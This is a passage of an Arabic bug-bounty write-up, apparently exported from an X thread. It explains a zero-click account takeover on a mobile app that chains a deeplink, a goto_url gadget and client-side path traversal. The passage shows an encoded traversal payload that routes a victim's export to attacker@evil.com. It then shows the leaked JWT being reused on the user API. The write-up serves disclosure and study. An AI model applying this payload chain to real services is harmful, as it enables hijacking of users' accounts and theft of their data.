Host: target.com
Content-Type: application/json
Authorization: Bearer 
User-Agent: MobileApp/1.0
Accept: application/json
Connection: close
Content-Length: 

{
  "invitee_user_id": "",
  "card": {
    "goto_url": "app://profile/view?id=1%2F..%2F..%2Fshare%2Fexport%3Femail%3Dattacker%40evil.com"
  }
}
```

‏والضحية بيطلع ال request منه بالطريقة هذي

```
‏GET /api/v1/profile/1/../../share/export?email=attacker@evil(dot)com

```

‏ولكن السيرفر بعد normalization بتصير بالصيغة هذي

```
‏GET /api/v1/share/export?email=attacker@evil(dot)com

```

‏و السيرفر يظن أن الضحية سوا export
وبينرسل ايميل الى attacker@evil.com

ويكون فيه

```
‏api.targetcom/download/shared?token=

```

‏وهنا عاد راح اخذ نفس ال jwt واستعملة على ال API

```
‏GET /api/v1/user/me
Authorization: Bearer 

```

‏والنتيجة ؟ ‏

HTTP 200 OK‏

‏Full account take over with 0 user interaction (;
حلوة صح ؟


‏والصورة توضح العملية

Media image

‏وبكذا باستغلالي الى deeplink + gotorul gadget + CSPT قدرت اجيب اي حساب بدون interaction من المستخدم!


‏بالختام اتمنى المقالة نالت على اعجابكم, في حال اعجبتك المقالة لاتنسانا بدعمكم ومن صالح دعواكم بالايام الفضيلة

‏واكيد ماستغني عن ارائكم بالمقالة

نسخة اوضح


x.com/omarzzu/status…

Actions
Visual Editor Carousel Maker NEW
Update Thread
What You Can Do
  • Download as PDF
  • Save to Notion
  • Export as Markdown
  • Visual Editor
  • LinkedIn & Instagram Carousel Maker
Create Free Account

Includes 7-day Premium trial

Advertisement